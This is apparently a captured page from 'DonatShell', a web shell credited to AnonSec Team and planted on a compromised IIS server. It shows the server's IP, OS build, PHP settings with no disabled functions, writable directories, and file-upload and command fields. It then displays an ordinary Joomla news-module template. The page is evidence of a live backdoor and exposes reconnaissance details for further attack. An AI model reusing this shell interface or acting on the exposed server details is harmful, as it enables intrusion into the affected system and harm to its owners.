DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/app/webroot/news/modules/mod_simplenews/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/app/webroot/news/modules/mod_simplenews/tmpl/default.php
<?php // no direct access
defined('_JEXEC') or die('Restricted access'); 

$document = JFactory::getDocument();
$document->addStyleSheet(JURI::base() . 'modules/mod_simplenews/style.css');
?>
<ul class="simplenews<?php echo $params->get('moduleclass_sfx'); ?>">
<?php foreach ($list as $item) :  ?>
	<li class="simplenews<?php echo $params->get('moduleclass_sfx'); ?>">
		<?php
		// If had image strip it out to get pure text
		$pure_detail = strip_tags($item->introtext);
		
		$showimg = (int)$params->get('snImg');
		if($showimg>0){
			// Strip another tag without <img>
			$after_strip = strip_tags($item->introtext,'<img>');

			// Find <img>
			$img_count = preg_match('/(\<img.+\/?>)/', $after_strip, $get_img_tag);
			if(count($get_img_tag)>0){
				preg_match('/src=\"([^\"]+)\"/', $after_strip, $get_img);
				?>
				<i class="simplenews-img" style="background-image:url(<?php echo $get_img['1'];?>);"></i>
				<?php
			}
		}

		$str_length = (int)$params->get('snLength');
		$detail_length = mb_strlen($pure_detail);
		$details = $detail_length < $str_length ? $pure_detail : mb_substr($pure_detail, 0, $str_length);
		?>
		<a href="<?php echo $item->link; ?>" target="_blank"><?php echo $item->text; ?></a>
		<span class="simplenews-date"><?php echo JHTML::_('date', $item->created, JText::_('DATE_FORMAT_LC1')); ?></span>
		<p class="simplenews-detail"><?php echo $details; ?></p>
	</li>
<?php endforeach; ?>
</ul>

Anon7 - 2022
AnonSec Team